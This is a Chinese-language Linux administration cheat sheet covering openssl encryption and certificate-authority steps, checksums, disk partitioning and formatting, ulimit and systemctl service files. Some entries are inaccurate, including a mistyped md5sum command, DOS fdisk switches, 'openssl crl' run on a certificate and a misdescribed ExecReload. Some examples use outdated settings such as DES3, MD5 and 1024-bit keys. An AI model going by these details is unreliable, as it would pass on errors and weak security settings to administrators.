rpm2cpio - < glint-1.0-1.i386.rpm
rpm2cpio 包文件|cpio –itv 预览包内文件
rpm2cpio 包文件|cpio -dium “*.conf” 释放包内*.conf文件
openssl
openSSL是一个强大的安全套接字层密码库,囊括主要的密码算法、常用的密钥和证书封装管理功能及SSL协议,并提供丰富的应用程序供测试或其它目的使用。
openssl
-in filename 指定要加密的文件存放路径
-out filename 指定加密后的文件存放路径
-salt 自动插入一个随机数作为文件内容加密,默认选项
-e 可以指明一种加密算法,若不指的话将使用默认加密算法
-d 解密,若不指定则使用默认算法,但一定要与加密时的算法一致
-a/-base64 使用-base64位编码格式
Examples:
1.对称加密:解密要与加密时的算法一致
openssl enc -ciphername [-in filename] [-out filename] [-pass arg] [-e] [-d]
[-a/-base64] [-A] [-k password] [-kfile filename] [-K key] [-iv IV] [-S salt]
[-salt] [-nosalt] [-z] [-md][-p] [-P] [-bufsize number] [-nopad] [-debug]
[-none] [-engine id]
用DES3算法的CBC模式加密文件plaintext.doc,加密结果输出到文件ciphertext.bin:
openssl enc -e -des3 -salt -in plaintext.doc -out ciphertext.bin
用DES3算法的CBC模式解密文件ciphertext.bin,加密结果输出到文件plaintext.doc,提供的口令为trousers:
openssl enc -d -des3 -salt -in ciphertext.bin -out plaintext.doc -pass pass:trousers
2.单向加密:
openssl dgst [-md5|-md4|-md2|-sha1|-sha|-mdc2|-ripemd160|-dss1] [-c] [-d] [-hex]
[-binary] [-out filename] [-sign filename] [-keyform arg] [-passin arg]
[-verify filename] [-prverify filename] [-signature filename] [-hmac key]
[file...]
-out filename:将加密的内容保存到指定文件中
[-md5|-md4|-md2|-sha1|-sha|-mdc2|-ripemd160|-dss1] :指定一种加密算法
使用MD5计算文件filename的哈西值,输出到stdout:
openssl dgst -md5 filename ; md5sum filename # 等同
使用SHA1算法计算文件filename的哈西值,输出到文件digest.txt:
openssl sha1 -out digest.txt filename
3.生成密码
openssl passwd [-crypt] [-1] [-apr1] [-salt string] [-in file] [-stdin] [-noverify]
[-quiet] [-table] {password}
-1 使用md5加密算法
-salt string 加入随机数,最多8位随机数
-in file 对输入的文件内容进行加密
-stdin 对标准输入的内容进行加密
使用MD5生成文件filename的加盐的密码
openssl passwd -1 -in filename -salt 12345678
使用MD5生成字符串"hello world"的密码
echo -n "hello world"|openssl passwd -1 -stdin
4.生成随机数
openssl rand [-out file] [-rand file(s)] [-base64] [-hex] num
-out file 将生成的随机数保存至指定文件中
-base64 使用base64 编码格式
-hex 使用16进制编码格式
生成8位随机数
openssl rand -base64 6 ; openssl rand -hex 4
5.生成秘钥对
首先需要先使用 genrsa 标准命令生成私钥,然后再使用 rsa 标准命令从私钥中提取公钥。
openssl genrsa [-out filename] [-passout arg] [-des] [-des3] [-idea] [-f4] [-3]
[-rand file(s)] [-engine id] [numbits]
-out filename 将生成的私钥保存至指定的文件中
-des|-des3|-idea 不同的加密算法
numbits 指定生成私钥的大小,默认是2048
只能自己读写 ; 产生1024位RSA私匙,用3DES加密它,口令为trousers,输出到文件rsaprivatekey.pem:
(umask 077 ; openssl genrsa -out rsaprivatekey.pem -passout pass:trousers -des3 1024)
openssl rsa [-inform PEM|NET|DER] [-outform PEM|NET|DER] [-in filename] [-passin arg]
[-out filename] [-passout arg] [-sgckey] [-des] [-des3] [-idea] [-text]
[-noout] [-modulus] [-check] [-pubin] [-pubout] [-engine id]
-in filename 指明私钥文件
-out filename 指明将提取出的公钥保存至指定文件中
-pubout 根据私钥提取出公钥
从私钥rsaprivatekey.pem中提取公钥rsapublickey.pem
openssl rsa -in rsaprivatekey.pem -out rsapublickey.pem -pubout
6.非对称加密算法DSA
DSA是先生成DSA的密钥参数,然后根据密钥参数生成DSA密钥(包括公钥),密钥参数决定了DSA密钥的长度,而且一个密钥参数可以生成多对DSA密钥对。
$ openssl dsaparam -
unknown option -
dsaparam [options] [bits] <infile >outfile
where options are
-inform arg input format - DER or PEM
-outform arg output format - DER or PEM
-in arg input file
-out arg output file
-text print as text
-C Output C code
-noout no output
-genkey generate a DSA key
-rand files to use for random number input
-engine e use engine e, possibly a hardware device.
number number of bits to use for generating private key
生成1024位DSA密钥参数集,并输出到文件dsaparam.pem:
openssl dsaparam -out dsaparam.pem 1024
明文查看DSA密钥参数的值:
openssl dsaparam -in dsaparam.pem -text -noout
pem格式的密钥参数转为der格式:
openssl dsaparam -in dsaparam.pem -out dsaparam.der -outform der
der格式的密钥参数转为pem格式:
openssl dsaparam -in dsaparam.der -inform der -out dsaparam.pem
直接生成DSA密钥(先生成参数,再利用参数生成密钥,并输出到文件DSA.pem):
openssl dsaparam -genkey -out DSA.pem 1024
$ openssl gendsa -
usage: gendsa [args] dsaparam-file
-out file - output the key to 'file'
-des - encrypt the generated key with DES in cbc mode
-des3 - encrypt the generated key with DES in ede cbc mode (168 bit key)
-seed
encrypt PEM output with cbc seed
-aes128, -aes192, -aes256
encrypt PEM output with cbc aes
-camellia128, -camellia192, -camellia256
encrypt PEM output with cbc camellia
-engine e - use engine e, possibly a hardware device.
-rand file:file:...
- load the file (or the files in the directory) into
the random number generator
dsaparam-file
- a DSA parameter file as generated by the dsaparam command
相同密钥参数,每次生成的密钥不同
使用参数文件dsaparam.pem生成DSA私钥匙,采用3DES加密后输出到文件dsaprivatekey.pem:
openssl gendsa -out dsaprivatekey.pem -des3 dsaparam.pem
$ openssl dsa -
unknown option -
dsa [options] <infile >outfile
where options are
-inform arg input format - DER or PEM
-outform arg output format - DER or PEM
-in arg input file
-passin arg input file pass phrase source
-out arg output file
-passout arg output file pass phrase source
-engine e use engine e, possibly a hardware device.
-des encrypt PEM output with cbc des
-des3 encrypt PEM output with ede cbc des using 168 bit key
-aes128, -aes192, -aes256
encrypt PEM output with cbc aes
-camellia128, -camellia192, -camellia256
encrypt PEM output with cbc camellia
-seed encrypt PEM output with cbc seed
-text print the key in text
-noout don't print key out
-modulus print the DSA public value
生成未加密的DSA密钥
openssl dsaparam -out DSA.pem -genkey 1024
使用des3加密DSA密钥
openssl dsa -in DSA.pem -out E_DSA.pem -des3 -passout pass:123456
解密DSA密钥
openssl dsa -in E_DSA.pem -out DSA1.pem -passin pass:123456
从私钥DSA.pem中提取公钥pub.pem
openssl dsa -in DSA.pem -out pub.pem -pubout
7.创建CA和申请证书
使用openssl工具创建CA证书和申请证书时,需要先查看配置文件 /etc/pki/tls/openssl.cnf,因为配置文件中对证书的名称和存放位置等相关信息都做了定义
7.1 创建自签证书
第一步:为 CA 提供所需的目录及文件
mkdir -pv /etc/pki/CA/{certs,crl,newcerts,private}
touch /etc/pki/CA/{serial,index.txt}
第二步:指明证书的开始编号
echo 01 >> /etc/pki/CA/serial
第三步:生成私钥,私钥的文件名与存放位置要与配置文件中的设置相匹配
(umask 077 ; openssl genrsa -out /etc/pki/CA/private/cakey.pem 4096)
第四步:生成自签证书,自签证书的存放位置也要与配置文件中的设置相匹配,生成证书时需要填写相应的信息
openssl req -new -x509 -key /etc/pki/CA/private/cakey.pem -out /etc/pki/CA/cacert.pem -days 3650
openssl req
-new 表示生成一个新证书签署请求
-x509 专用于CA生成自签证书,如果不是自签证书则不需要此项
-key 生成请求时用到的私钥文件
-out 证书的保存路径
-days 证书的有效期限,单位是day(天),默认是365天
7.2 颁发证书
在需要使用证书的主机上生成证书请求,以 httpd 服务为例:
第一步:在需要使用证书的主机上生成私钥,这个私钥文件的位置可以随意定
(umask 077 ; openssl genrsa -out httpd.pem 4096)
第二步:生成证书签署请求,生成证书时需要填写相应的信息
openssl req -new -key httpd.pem -out httpd.csr -days 365
第三步:将请求通过可靠方式发送给 CA 主机
第四步:CA 服务器拿到证书签署请求文件后颁发证书,这一步是在 CA 服务器上做的
openssl ca -in httpd.csr -out /etc/pki/CA/certs/httpd.crt -days 365
y
y
查看证书信息的命令为:
openssl x509 -in /etc/pki/CA/certs/httpd.crt -noout -serial -subject
7.3 吊销证书
吊销证书的步骤也是在CA服务器上执行的,以刚才新建的 httpd.crt 证书为例:
第一步:在客户机上获取要吊销证书的 serial 和 subject 信息
openssl crl -in httpd.crt -noout -serial -subject
第二步:根据客户机提交的 serial 和 subject 信息,对比其余本机数据库 index.txt 中存储的是否一致
第三步:执行吊销操作
openssl ca -revoke /etc/pki/CA/newcerts/01.pem
第四步:生成吊销证书的吊销编号 (第一次吊销证书时执行)
echo 01 > /etc/pki/CA/crlnumber
第五步:更新证书吊销列表
openssl ca -gencrl -out /etc/pki/CA/crl/ca.crl
查看 crl 文件命令:
openssl crl -in /etc/pki/CA/crl/ca.crl -noout -text
md5sum
用于生成和校验文件的md5值。它会逐位对文件的内容进行校验。只针对文件的内容,与文件名无关,也就是文件内容相同,其md5值相同。
若没有文件选项,或者文件处为"-",则从标准输入读取。
(注意: echo -n: 不打印换行符, 这样算出的字符串的md5值才正确)
md5sum filename 或者 字符串 | md5sum
-b 以二进制模式读取文件
-t 把输入的文件作为文本文件看待
-c 从指定文件中读取MD5值,对现存文件进行校验
-w 检查输入的md5信息有没有非法行,若有则输出相应信息
--status 校验完成后,不生成错误或正确的提示信息,可以通过命令的返回值来判断
Examples:
echo -n "hello world"|md5sum # 查看字符串的MD5值
find -type f | xargs md5sum > police.MD5 # 对当前目录所有普通文件生成MD5校验值并存入文件
md5dum -c police.MD5 # 校验文件
hostname
hostname
-a,--alias alias names
-A,--all-fqdns all long host names (FQDNs)
-b,--boot set default hostname if none available (none available 无可用)
-d,--domain DNS domain name (domain 域)
-f,--fqdn, --long long host name (FQDN)
-F,--file read host name or NIS domain name from given file
-i,--ip-address addresses for the host name
-I,--all-ip-addresses all addresses for the host
-s,--short short host name
-y,--yp, --nis NIS/YP domain name
hostnamectl
hostnamectl 显示当前主机系统基本信息
-H 操作远程主机
status 显示当前主机名设置
set-hostname 永久设置系统主机名
uname
uname (same as -s)
-a 显示系统所有相关信息
-m 显示计算机硬件架构
-n 显示主机名称
-r 显示内核发行版本号
-s 显示内核名称
-v 显示内核版本
-p 显示主机处理器类型
-o 显示操作系统名称
-i 显示硬件平台
fsck
fsck [参数] [文件系统] filesystem check 检查并修复Linux文件系统
-a 自动修复文件系统,不询问任何问题
-A 依照/etc/fstab配置文件的内容,检查文件内所列的全部文件系统
-N 不执行指令,仅列出实际执行会进行的动作
-P 当搭配”-A”参数使用时,则会同时检查所有的文件系统
-r 采用互动模式,在执行修复时询问问题,让用户得以确认并决定处理方式
-R 当搭配”-A”参数使用时,则会略过/目录的文件系统不予检查
-t 指定要检查的文件系统类型
-T 执行fsck指令时,不显示标题信息
-V 显示指令执行过程
blkid
显示可用块设备信息, 查询设备上所采用文件系统类型。主要用来对系统的块设备(包括交换分区)所使用的文件系统类型、LABEL、UUID等信息进行查询
blkid [参数]
-s [UUID|TYPE|...] 显示指定信息
-g 收集blkid缓存
-i 收集有关i/o限制的信息
-p 低级超级块探测(旁路缓存)
-o [list|device|...] 以列表方式查看详细信息|显示所有设备
lsblk
“list block”,即用于列出所有可用块设备的信息,而且还能显示他们之间的依赖关系,但是它不会列出RAM盘的信息。
lsblk命令包含在util-linux包中。
lsblk [参数]
-a, --all 显示所有设备。
-b, --bytes 以bytes方式显示设备大小。
-d, --nodeps 不显示 slaves 或 holders。
-D, --discard print discard capabilities。
-e, --exclude <list> 排除设备 (default: RAM disks)。
-f, --fs 显示文件系统信息。
-i, --ascii use ascii characters only。
-m, --perms 显示权限信息。
-l, --list 使用列表格式显示。
-n, --noheadings 不显示标题。
-o, --output <list> 输出列。
-P, --pairs 使用key="value"格式显示。
-r, --raw 使用原始格式显示。
-t, --topology 显示拓扑结构信息。
-s 将设备和分区的组织关系逆转过来显示
-S 只打印SCSI设备的列表
打印栏目名称如下:
NAME:这是块设备名。
MAJ:MIN:本栏显示主要和次要设备号。
RM:本栏显示设备是否可移动设备。注意,在本例中设备sdb和sr0的RM值等于1,这说明他们是可移动设备。
SIZE:本栏列出设备的容量大小信息。例如298.1G表明该设备大小为298.1GB,而1K表明该设备大小为1KB。
RO:该项表明设备是否为只读。在本案例中,所有设备的RO值为0,表明他们不是只读的。
TYPE:本栏显示块设备是否是磁盘或磁盘上的一个分区。在本例中,sda和sdb是磁盘,而sr0是只读存储(rom)。
MOUNTPOINT:本栏指出设备挂载的挂载点。
fdisk
用于交互式管理磁盘分区,格式为“fdisk [磁盘名称]”,它提供了集添加、删除、转换分区等功能于一身的“一站式分区服务”。
fdisk [options] <disk> change partition table (partition 分区)
fdisk [options] -l <disk> 列出指定的外围设备的分区表状况
fdisk -s <partition> 输出指定的分区大小,单位为区块
-b <size> 指定每个分区 size (512, 1024, 2048 or 4096)
-c[=<mode>] 兼容的 mode: 'dos' or 'nondos' (default)
-u[=<unit>] 搭配"-l"参数列表,会用分区数目取代柱面数目,来表示每个分区的起始地址
-C <number> 指定柱面 number
-H <number> 指定磁头 number
-S <number> 指定每条轨道的扇区 number
Examples:
fdisk /dev/sdb # 选择要进行操作的磁盘
fdisk /ext # 在当前磁盘上建立扩展分区
fdisk /actok # 不检查磁盘表面加快分区操作
fdisk /cmbr # 重建主引导记录
[root@localhost ~]# fdisk /dev/sdb
Command (m for help): n
Command action
p primary partition (1-4) # 主分区
e extended # 扩展分区
Select (default p):
Using default response p
Partition number (1-4, default 1):
First sector (2048-208895, default 2048): # 分区扇区起始位置
Using default value 2048
Last sector, +sectors or +size{K,M,G} (2048-208895, default 208895): +16M #分区扇区结束位置
Partition 1 of type Linux and of size 16 MiB is set
Command (m for help): n
Partition type:
p primary (3 primary, 0 extended, 1 free)
e extended
Select (default e): # 建立扩展分区
Selected partition 4
First sector (100352-208895, default 100352):
Using default value 100352
Last sector, +sectors or +size{K,M,G} (100352-208895, default 208895):
Using default value 208895
Partition 4 of type Extended and of size 53 MiB is set
Command (m for help): w # 保存并退出
fdisk命令交互时的参数以及作用
参数 | 作用 |
---|---|
m | 查看全部可用的参数 |
n | 添加新的分区 |
d | 删除某个分区信息 |
l | 列出所有可用的分区类型 |
t | 改变某个分区的类型 |
p | 查看分区表信息 |
w | 保存并退出 |
q | 不保存直接退出 |
parted
磁盘分区和分区大小调整工具,支持调整分区的大小。它没有构建成处理与fdisk关联的多种分区类型,但是,它可以处理最常见的分区格式,包括:ext2、ext3、fat16、fat32、NTFS、ReiserFS、JFS、XFS、UFS、HFS以及Linux交换分区。
硬盘容量小于2T时可以使用MBR分区表,使用fdisk命令。
硬盘容量大于2T时必须使用GPT分区表,使用parted命令。
parted [选项] [参数] [设备]
-i 交互式模式
-s 脚本模式,不提示用户
-l 列出所有块设备上的分区布局
align-check TYPE N check partition N for TYPE(min|opt) alignment
help [COMMAND] print general help, or help on COMMAND
mklabel,mktable LABEL-TYPE create a new disklabel (partition table)
mkpart PART-TYPE [FS-TYPE] START END make a partition
name NUMBER NAME name partition NUMBER as NAME
print [devices|free|list,all|NUMBER] display the partition table, available devices, free space, all found partitions, or a particular partition
quit exit program
rescue START END rescue a lost partition near START and END
resizepart NUMBER END resize partition NUMBER
rm NUMBER delete partition NUMBER
select DEVICE choose the device to edit
disk_set FLAG STATE change the FLAG on selected device
disk_toggle [FLAG] toggle the state of FLAG on selected device
set NUMBER FLAG STATE change the FLAG on partition NUMBER
toggle [NUMBER [FLAG]] toggle the state of FLAG on partition NUMBER
unit UNIT set the default unit to UNIT
Examples:
[root@localhost ~]# fdisk -l
Disk /dev/sda: 35.8 GB, 35862976512 bytes
255 heads, 63 sectors/track, 4360 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot Start End Blocks id System
/dev/sda1 * 1 13 104391 83 Linux
/dev/sda2 14 144 1052257+ 82 Linux swap
/dev/sda3 145 4360 33865020 83 Linux
Disk /dev/sdb: 2147 MB, 2147483648 bytes
255 heads, 63 sectors/track, 261 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Disk /dev/sdb doesn't contain a valid partition table # 注意
# 交互式创建
[root@localhost ~]# parted /dev/sdb
GNU Parted Copyright (C) 1998 - 2004 free Software Foundation, Inc.
This program is free software, covered by the GNU General Public License.
This program is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE. See the GNU General Public License for more details.
(parted)mktable gpt # 设置分区表为gpt
(parted)print # 查看磁盘容量, 用于下一步分区
/dev/sdb的磁盘几何结构:2048M
磁盘标签类型:gpt
Minor 起始点 终止点 文件系统 名称 标志
(parted)mkpart primary 0 2048 # 建立分区, 设置分区名称, 起始和终止点(分区大小)
(parted)print
/dev/sdb的磁盘几何结构:0.000-2048.000兆字节
磁盘标签类型:gpt
Minor 起始点 终止点 文件系统 名称 标志
1 0M 2048M
(parted)quit
# 非交互式创建
[root@oldboyedu-lnb ~]# parted /dev/sdb mktable gpt
Warning: The existing disk label on /dev/sdb will be destroyed and all data on this disk will be lost. Do you
want to continue?
Yes/No? yes
Information: You may need to update /etc/fstab.
[root@oldboyedu-lnb ~]# parted /dev/sdb mkpart one 0 50
Warning: The resulting partition is not properly aligned for best performance.
Ignore/Cancel? Ignore
Information: You may need to update /etc/fstab.
(parted) mklabel gpt
(parted) mkpart primary 0 100%
Warning: The resulting partition is not properly aligned for best performance.
Ignore/Cancel?
# 生成的分区没有正确地对齐以实现最佳性能。忽略/取消?
正确对齐分区快速分步指南:
1.获得你阵列的alignment参数(记得要将sdb替换为系统内核看到的设备名称)
$ cat /sys/block/sdb/queue/optimal_io_size
1048576
$ cat /sys/block/sdb/queue/minimum_io_size
262144
$ cat /sys/block/sdb/alignment_offset
0
$ cat /sys/block/sdb/queue/physical_block_size
512
2.( optimal_io_size + alignment_offset ) / physical_block_size
在我的例子中是:(1048576 + 0) / 512 = 2048。
3.这个数值是分区起始的扇区:
mkpart primary 2048s 100% # s 指单位:扇区
4.如果还是不行: 或者在创建GPT分区表后, 使用fdisk命令分区
(parted) align-check optimal /dev/sdb # 检查分区 N 的类型(min|opt)对齐
/dev/sdb aligned
partprobe
用于重读分区表,当出现删除文件后,出现仍然占用空间。可以partprobe在不重启的情况下手动将分区信息同步到内核。
partprobe [选项] [设备]
-d:不更新内核;
-s:显示摘要和分区;
mkfs
格式化存储设备, 永久生效写入 /etc/fstab
在磁盘分区上创建ext2、ext3、ext4、ms-dos、vfat文件系统,默认ext2。
mkfs只是Linux下可用的各种文件系统构建器(mkfs.fstype)的前端,在/sbin、/sbin/fs、/sbin/fs.d、/etc/fs、/etc/fs等多个目录中搜索特定于文件系统的生成器(编译时定义了精确的列表,但至少包含/sbin和/sbin/fs),最后在PATH环境变量中列出的目录中搜索。
mkfs
device 预备检查的硬盘分区,例如:/dev/sda1
-V 详细显示模式
-t <文件系统类型> 指定要建立何种文件系统,默认 ext2
-c 在制做档案系统前,检查该 partition 是否有坏轨
-l bad_blocks_file 将有坏轨的block资料加到 bad_blocks_file 里面
block 给定 block 的大小
[root@linuxprobe ~]# mkfs
mkfs mkfs.cramfs mkfs.ext3 mkfs.fat mkfs.msdos mkfs.xfs
mkfs.btrfs mkfs.ext2 mkfs.ext4 mkfs.minix mkfs.vfat
Examples:
mkfs -t xfs /dev/sdb1 ; mkfs.xfs /dev/sdb1
mkfs.xfs -f /dev/sdb # 强制格式化
mkswap
将分区格式化为SWAP, 永久生效写入 /etc/fstab
mkswap [参数]
-c 建立交换区前,先检查是否有损坏的区块
-f 在SPARC电脑上建立交换区,要加此参数
-v0 建立旧式交换区,此为预设值
-v1 建立新式交换区
[root@linuxprobe ~]# mkswap /dev/sdb2
Setting up swapspace version 1, size = 5242876 KiB
no label, UUID=2972f9cb-17f0-4113-84c6-c64b97c40c75
swapon
激活指定交换分区
swapon [参数]
-a 将/etc/fstab文件中所有设置为swap的设备,启动为交换区
-p 制定交换区的优先顺序
-s 显示交换区的使用情况
swapon -s ; cat /proc/swaps # 查看当前的swap空间
[root@linuxprobe ~]# mkswap /dev/sdb2
swapoff
禁用指定交换分区, 实际上为swapon的符号连接
swapoff -a # 将/etc/fstab文件中所有设置为swap的设备关闭
swapoff /dev/sdb2
ulimit
显示(或设置)用户可以使用的资源的限制(limit),这限制分为软限制(当前限制)和硬限制(上限),其中硬限制是软限制的上限值,应用程序在运行过程中使用的系统资源不超过相应的软限制,任何的超越都导致进程的终止
ulimit -a 列出所有当前资源极限
ulimit -H 设置硬件资源限制,root可以增大硬极限、任何用户均可减少硬极限
ulimit -S 设置软件资源限制,软极限可增大到硬极限的值
ulimit -u 每个进程可以同时打开的最大进程数
ulimit -n 每个进程可以同时打开的最大文件数
noproc不能超过/proc/sys/fs/file-max
nofile的hard limit不能超过/proc/sys/fs/nr_open
永久配置:
vi /etc/security/limits.conf
* - noproc 65535
* - nofile 65535
注意:
/etc/security/limits.d/
下的文件/etc/security/limits.d/20-nproc.conf
会覆盖/etc/security/limits.conf
runlevel
runlevel 显示系统先前与当前的运行级
读取/var/run/utmp/文件或指定的其他文件,检索其中最近的运行级记录,显示系统先前与当前的运行级。
如果运行级记录中没有先前的运行级,则使用字符N表示先前的运行级。
如果找不到运行级记录,runlevel将会输出一条表示不知道的错误信息,然后退出,返回一个非0的结束状态
CentOS 7.x
[11:22:33 root@oldboyedu-lnb ~]# ll /usr/lib/systemd/system/runlevel*.target
lrwxrwxrwx. 1 root root 15 Jul 12 15:45 /usr/lib/systemd/system/runlevel0.target -> poweroff.target
lrwxrwxrwx. 1 root root 13 Jul 12 15:45 /usr/lib/systemd/system/runlevel1.target -> rescue.target
lrwxrwxrwx. 1 root root 17 Jul 12 15:45 /usr/lib/systemd/system/runlevel2.target -> multi-user.target
lrwxrwxrwx. 1 root root 17 Jul 12 15:45 /usr/lib/systemd/system/runlevel3.target -> multi-user.target
lrwxrwxrwx. 1 root root 17 Jul 12 15:45 /usr/lib/systemd/system/runlevel4.target -> multi-user.target
lrwxrwxrwx. 1 root root 16 Jul 12 15:45 /usr/lib/systemd/system/runlevel5.target -> graphical.target
lrwxrwxrwx. 1 root root 13 Jul 12 15:45 /usr/lib/systemd/system/runlevel6.target -> reboot.target
init
init 切换系统运行级别
init命令是Linux下的进程初始化工具,init进程是所有Linux进程的父进程,它的进程号为1。
init进程是Linux内核引导运行的,是系统中的第一个进程。
systemctl
管理系统服务:systemctl 囊括service / chkconfig / setup / init 的大部分功能
systemctl [OPTIONS...] {COMMAND} ... 显示所有系统服务
start 启动服务
stop 停止服务
restart 重启服务,服务会中断
reload 重载服务,服务不会中断
测试conf语法等,如果出错会rollback用上一次正确配置文件保持正常运行。
status 查看服务详细的运行状态
disable 让服务开机不要运行
enable 让服务开机运行
is-active 检查确认服务是否运行
is-enabled 检查确认服务是否开机运行
list-units --type=service
列举所有已启动服务(unit单元)
daemon-reload 重新加载systemd管理器配置
查询或向systemd管理器发送控制命令:
-H --host=[USER@]HOST
在远程主机上操作
-t --type=TYPE 列出特定类型的 units (TYPE=service|...)
--state=STATE 列出有特殊状态(LOAD or SUB or ACTIVE)的 units
-p --property=NAME Show only properties by this name
-a --all 显示所有已加载的单元/属性,包括死/空
-s --signal=SIGNAL 发送哪个信号
--now 除启用或禁用外,启动或停止装置
-q --quiet 禁止输出
-f --force 启用单位文件时,覆盖现有符号链接.关闭时,立即执行操作
-n --lines=INTEGER 要显示的日记条目数
-o --output=STRING 更改日志输出模式
Unit Commands:
list-units [PATTERN...] 列出加载的 units
list-sockets [PATTERN...] 列出按地址排序的加载的套接字
list-timers [PATTERN...] 列出按下一个时间排序的已加载计时器
start NAME... 启动(激活)一个或多个 units
stop NAME... 停止(停用)一个或多个 units
reload NAME... 重新装载一个或多个 units
restart NAME... 启动或重新启动一个或多个 units
try-restart NAME... 重新启动一个或多个 units(如果激活)
reload-or-restart NAME... 如果可能,重新装载一个或多个 units,否则启动或重新启动
reload-or-try-restart NAME... 如果可能,重新装载一个或多个 units,否则重新启动 units
(如果激活)
isolate NAME 启动一个 units,停止所有其他 units
kill NAME... 向 unit 进程发送kill信号
is-active PATTERN... 检查 unit 是否激活
is-failed PATTERN... 检查 unit 是否出现故障
status [PATTERN...|PID...] 显示一个或多个 unit 的运行状态
show [PATTERN...|JOB...] 显示一个或多个属性
cat PATTERN... 显示一个或多个 unit 的文件和下拉列表
set-property NAME ASSIGNMENT... 设置 unit 的一个或多个属性
help PATTERN...|PID... 显示一个或多个 unit 的手册
reset-failed [PATTERN...] 重置所有、一个或多个失败状态的 unit
Unit File Commands:
list-unit-files [PATTERN...] 列出系统上安装的所有 units
enable NAME... 启用一个或多个 unit files
disable NAME... 禁用一个或多个 unit files
reenable NAME... 重新启用一个或多个 unit files
is-enabled NAME... 检查 unit files 是否启用
mask NAME... 隐藏 one or more units
unmask NAME... 不隐藏 one or more units
get-default 获取默认运行级别的名称
set-default NAME 设置默认运行级别
list-dependencies [NAME] 递归地显示, 此单元依赖的单元, 或依赖此单元的单元
Machine Commands:
list-machines [PATTERN...] 列出本地容器和主机
Job Commands:
list-jobs [PATTERN...] List jobs
cancel [JOB...] Cancel all, one, or more jobs
Snapshot Commands:(snapshots 快照)
snapshot [NAME] Create a snapshot
delete NAME... Remove one or more snapshots
Environment Commands:
show-environment 显示环境变量LANG和PATH
set-environment NAME=VALUE... 设置一个或多个环境变量
unset-environment NAME... 取消设置一个或多个环境变量
import-environment [NAME...] 导入所有或部分环境变量
管理器生命周期命令:
daemon-reload 重新加载systemd管理器配置
daemon-reexec 重新运行系统管理器
System Commands:
is-system-running 检查系统是否完全运行
default 进入系统默认模式
rescue 进入系统救援模式
emergency 进入系统紧急模式
halt 关闭并停止系统
poweroff 关闭系统并停止电源
reboot [ARG] 关闭并重新启动系统
kexec 使用kexec关闭并重新启动系统
exit 请求用户实例退出
switch-root ROOT [INIT] 更改为其他根文件系统
suspend 挂起系统
hibernate 休眠系统
hybrid-sleep 休眠并挂起系统
服务状态:
loaded Unit配置文件已处理
active(running) 一次或多次持续处理的运行
active(exited) 成功完成一次性的配置
active(waiting) 运行中,等待一个事件
inactive 不运行
enabled 开机启动
disabled 开机不启动
static 开机不启动,但可被另一个启用的服务激活
Example:
systemctl | grep running 查看正在运行的服务
systemctl daemon-reload 重新加载systemd管理器配置
systemctl list-unit-files|grep enabled 查看已启动的服务列表
systemctl disable lightdm 禁止启动桌面服务
/etc/lib/systemd/user/
:用户服务文件
/usr/lib/systemd/system/
:系统服务文件, 每个服务最主要的启动脚本设置,类似于之前的 /etc/init.d/
/run/systemd/system/
:系统执行过程中所产生的服务脚本,比上面目录优先运行
/etc/systemd/system/
:系统管理员手动创建的执行脚本,类似于/etc/rcN.d/Sxx,比上面目录优先运行
[Unit]
Description=nginx - high performance web server
Documentation=http://nginx.org/en/docs/
After=network.target remote-fs.target nss-lookup.target
[Service]
Type=forking
PIDFile=/run/nginx.pid
ExecStartPre=/usr/sbin/nginx -t -c /etc/nginx/nginx.conf
ExecStart=/usr/sbin/nginx -c /etc/nginx/nginx.conf
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s TERM $MAINPID
PrivateTmp=true
[Install]
WantedBy=multi-user.target
[Unit]:定义与Unit类型无关的通用选项;用于提供unit的描述信息、unit行为及依赖关系等
Description : 服务的简单描述
Documentation : 服务文档
Before、After:定义启动顺序。Before=xxx.service,代表本服务在xxx.service启动之前启动。After=xxx.service,代表本服务在xxx.service之后启动。
Requires:这个单元启动了,它需要的单元也会被启动;它需要的单元被停止了,这个单元也停止了。
Wants:推荐使用。这个单元启动了,它需要的单元也会被启动;它需要的单元被停止了,对本单元没有影响。
[Service]:与特定类型相关的专用选项;此处为Service类型
Type=simple(默认值):systemd认为该服务将立即启动。服务进程不会fork。如果该服务要启动其他服务,不要使用此类型启动,除非该服务是socket激活型。
Type=forking:systemd认为当该服务进程fork,且父进程退出后服务启动成功。对于常规的守护进程(daemon),除非你确定此启动方式无法满足需求,使用此类型启动即可。使用此启动类型应同时指定 PIDFile=,以便systemd能够跟踪服务的主进程。
Type=oneshot:这一选项适用于只执行一项任务、随后立即退出的服务。可能需要同时设置 RemainAfterExit=yes 使得 systemd 在服务进程退出之后仍然认为服务处于激活状态。
Type=notify:与 Type=simple 相同,但约定服务会在就绪后向 systemd 发送一个信号。这一通知的实现由 libsystemd-daemon.so 提供。
Type=dbus:若以此方式启动,当指定的 BusName 出现在DBus系统总线上时,systemd认为服务就绪。
Type=idle: systemd会等待所有任务(Jobs)处理完成后,才开始执行idle类型的单元。除此之外,其他行为和Type=simple 类似。
PIDFile:pid文件路径
ExecStart:指定启动单元的命令或者脚本,ExecStartPre和ExecStartPost节指定在ExecStart之前或者之后用户自定义执行的脚本。Type=oneshot允许指定多个希望顺序执行的用户自定义命令。
ExecReload:指定单元停止时执行的命令或者脚本。
ExecStop:指定单元停止时执行的命令或者脚本。
PrivateTmp:True表示给服务分配独立的临时空间
Restart:这个选项如果被允许,服务重启的时候进程会退出,会通过systemctl命令执行清除并重启的操作。
RemainAfterExit:如果设置这个选择为真,服务会被认为是在激活状态,即使所以的进程已经退出,默认的值为假,这个选项只有在Type=oneshot时需要被配置。
[Install]:定义由"systemctl enable|disable"命令在实现服务启用或禁用时用到的一些选项
Alias:为单元提供一个空间分离的附加名字。
RequiredBy:单元被允许运行需要的一系列依赖单元,RequiredBy列表从Require获得依赖信息。
WantBy:单元被允许运行需要的弱依赖性单元,Wantby从Want列表获得依赖信息。
Also:指出和单元一起安装或者被协助的单元。
DefaultInstance:实例单元的限制,这个选项指定如果单元被允许运行默认的实例。
systemctl enable nginx.service(设置开机自启)
等于
ln -s /usr/lib/systemd/system/nginx.service /etc/systemd/system/multi-user.target.wants/nginx.service
source
在当前Shell环境中从指定文件读取和执行命令:source
就是.
作用:把一个文件的内容当成shell来执行
split
分割一个文件为多个文件,split只能够根据文件大小或行数来分割
split [OPTION]... [INPUT [PREFIX]]
